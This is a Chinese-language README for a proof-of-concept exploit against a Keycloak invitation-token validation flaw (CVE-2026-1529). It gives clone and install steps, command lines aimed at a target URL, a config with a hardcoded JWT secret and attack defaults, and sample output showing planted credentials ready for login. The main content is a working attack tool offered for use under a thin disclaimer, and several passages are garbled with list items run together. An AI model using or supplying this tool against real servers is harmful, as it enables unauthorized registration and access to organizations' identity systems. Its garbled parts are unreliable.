CVE-2026-1529 (PoC) 是 Keycloak 中的一个严重漏洞,该漏洞因邀请令牌验证不当,允许未经授权的组织注册。此利用工具通过操纵 JWT 令牌在未经授权的组织中注册用户,从而演示该漏洞。
Keycloak:因不正确的邀请令牌验证导致未经授权的组织注册
此工具仅供教育和安全测试使用。 仅可在获得明确授权的系统上使用。未经授权访问计算机系统是违法且不道德的。本工具的作者不对因使用本软件而导致的任何误用或损害承担责任。
创建者: f3ds cr3w est, 2002
CVE-2026-1529 是 Keycloak 中的一个严重漏洞,允许通过不正确的邀请令牌验证进行未经授权的组织注册。此利用工具通过操纵 JWT 令牌,在未经授权的组织中注册用户,从而演示该漏洞。
该漏洞存在于组织邀请的 JWT 令牌验证过程中。攻击者可以操纵 JWT payload 中的 org_id 和 email 字段,从而在未经授权的情况下将用户注册到任何组织中。
git clone https://github.com/ninjazan420/CVE-2026-1529-PoC-keycloak-unauthorized-registration-via-improper-invitation-token-validation
cd CVE-2026-1529-POC
pip install -r requirements.txt
chmod +x keycloak-exploit.py
# 使用目标 URL 的标准用法
python keycloak-exploit.py https://target-keycloak.com
# 显示帮助
python keycloak-exploit.py -h
# 显示版本
python keycloak-exploit.py -v
# 使用自定义邀请令牌
python keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 https://target-keycloak.com
# 使用自定义组织 ID
python keycloak-exploit.py -o custom_org_id https://target-keycloak.com
# 使用自定义配置文件
python keycloak-exploit.py -c custom_config.json https://target-keycloak.com
# 启用调试日志
python keycloak-exploit.py -d https://target-keycloak.com
当利用成功时,您将看到类似以下的输出:
=============================================================
CVE-2026-1529 EXPLOIT RESULTS
=============================================================
✓ Target is vulnerable to CVE-2026-1529
🎯 EXPLOIT SUCCESSFUL!
Username: admin_user_2026
Password: KeycloakCVE2026!
Email: [email protected]
Login Link: https://target-keycloak.com/realms/master/account
📄 Report saved to: output/reports/exploit_report_20260210_134556.txt
🔐 Use the provided credentials to access the Keycloak instance!
⚠️ This demonstrates unauthorized access due to CVE-2026-1529
=============================================================
by f3ds cr3w est, 2002
=============================================================
如果利用失败,您将看到:
=============================================================
CVE-2026-1529 EXPLOIT RESULTS
=============================================================
✗ Target is not vulnerable
❌ EXPLOIT FAILED!
Check logs for details: logs/exploit.log
CVE-2026-1529-POC/
├── keycloak-exploit.py # 主要利用脚本
├── requirements.txt # Python 依赖
├── README.md # 本文件
├── config/
│ └── default_config.json # 默认配置
├── utils/
│ ├── jwt_utils.py # JWT 操作工具
│ ├── http_utils.py # HTTP 客户端工具
│ └── crypto_utils.py # 密码学工具
├── output/
│ ├── logs/ # 日志文件
│ └── reports/ # 利用报告
该工具使用默认配置文件 (config/default_config.json),包含以下设置:
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
您可以创建自定义配置文件,并使用 -c 选项:
{
"exploit": {
"default_username": "custom_user",
"default_password": "CustomPassword123!",
"default_email": "[email protected]",
"timeout": 60,
"max_retries": 5
},
"jwt": {
"algorithm": "HS256",
"secret_key": "custom-secret-key",
"token_expiry": 7200
}
}
该工具通过以下方式利用不正确的 JWT 验证:
org_id 字段以定位不同的组织email 字段连接错误
令牌验证错误
org_id、email、invitation_type)注册失败
启用调试日志以进行详细故障排除:
python keycloak-exploit.py -d https://target-keycloak.com
logs/exploit.logoutput/reports/exploit_report_YYYYMMDD_HHMMSS.txt该工具执行以下检查:
如果满足以下条件,则利用被视为成功:
此工具仅用于教育和安全测试目的。使用风险自负。
创建者: f3ds cr3w est, 2002
联系方式: 如有问题或反馈,请参阅项目仓库。
记住: 能力越大,责任越大。请明智且合乎道德地使用此工具。
by f3ds cr3w est, 2002
| 选项 | 描述 | 必需 |
|---|
target | 目标 Keycloak URL(IP 或域名) | 是 |
-t, --token | 要使用的自定义邀请令牌 | 否 |
-o, --org-id | 自定义组织 ID | 否 |
-c, --config | 配置文件路径 | 否 |
-d, --debug | 启用调试日志 | 否 |
-v, --version | 显示版本信息 | 否 |
-h, --help | 显示帮助信息 | 否 |